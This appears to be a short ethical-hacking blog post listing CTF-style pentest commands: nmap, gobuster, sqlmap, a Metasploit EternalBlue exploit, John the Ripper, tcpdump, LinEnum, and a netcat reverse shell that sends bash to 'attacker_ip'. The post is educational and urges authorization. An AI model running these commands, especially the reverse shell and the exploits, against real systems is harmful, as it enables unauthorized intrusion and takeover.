Pentesting & Hacking Ético mediante resolución de un Capture The Flag (CTF)

Practice Verified Codes and Commands:

1. Nmap Scan for Network Enumeration:

nmap -sV -sC -oA target_scan 192.168.1.1

This command performs a version detection scan (-sV) and runs default scripts (-sC) on the target IP, saving the output in all formats (-oA).

2. Dirbusting with Gobuster:

gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt

This command uses Gobuster to brute-force directories on a web server using a common wordlist.

3. SQL Injection with SQLmap:

sqlmap -u "http://target.com/page?id=1" --dbs

This command uses SQLmap to detect and exploit SQL injection vulnerabilities, listing available databases.

4. Exploiting a Vulnerable Service with Metasploit:

msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.2
exploit

This sequence of commands in Metasploit exploits the EternalBlue vulnerability on a target Windows machine.

5. Password Cracking with John the Ripper:

john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt

This command uses John the Ripper to crack passwords using the `rockyou.txt` wordlist.

6. Packet Capture with Tcpdump:

tcpdump -i eth0 -w capture.pcap

This command captures network traffic on the `eth0` interface and saves it to a file for later analysis.

7. Reverse Shell with Netcat:

nc -lvp 4444

On the attacker’s machine, this command listens for an incoming connection. On the target machine:

nc -e /bin/bash attacker_ip 4444

This command sends a reverse shell back to the attacker.

8. Privilege Escalation with LinEnum:

./LinEnum.sh

This script helps in identifying potential privilege escalation vectors on a Linux system.

What Undercode Say:

In the realm of ethical hacking and penetration testing, mastering the tools and techniques is crucial for identifying and mitigating vulnerabilities. The commands and codes provided above are essential for any cybersecurity enthusiast or professional. Starting with network enumeration using nmap, you can identify open ports and services running on a target system. Tools like `Gobuster` and `SQLmap` are indispensable for web application testing, helping you uncover hidden directories and exploit SQL injection vulnerabilities.

For exploiting known vulnerabilities, `Metasploit` offers a comprehensive framework, while `John the Ripper` is a go-to tool for password cracking. Network analysis with `tcpdump` allows you to capture and inspect packets, which is vital for understanding network traffic and identifying potential threats. Reverse shells with `netcat` provide a way to gain remote access to a system, and privilege escalation scripts like `LinEnum.sh` help in gaining higher-level access on compromised systems.

In conclusion, the journey of ethical hacking involves continuous learning and practice. The tools and commands discussed here are just the tip of the iceberg. Always ensure you have proper authorization before performing any penetration testing, and stay updated with the latest security trends and vulnerabilities. For further reading and resources, consider visiting OWASP and Kali Linux Documentation.

Remember, with great power comes great responsibility. Happy hacking!

References:

Hackers Feeds, Undercode AIFeatured Image

Scroll to Top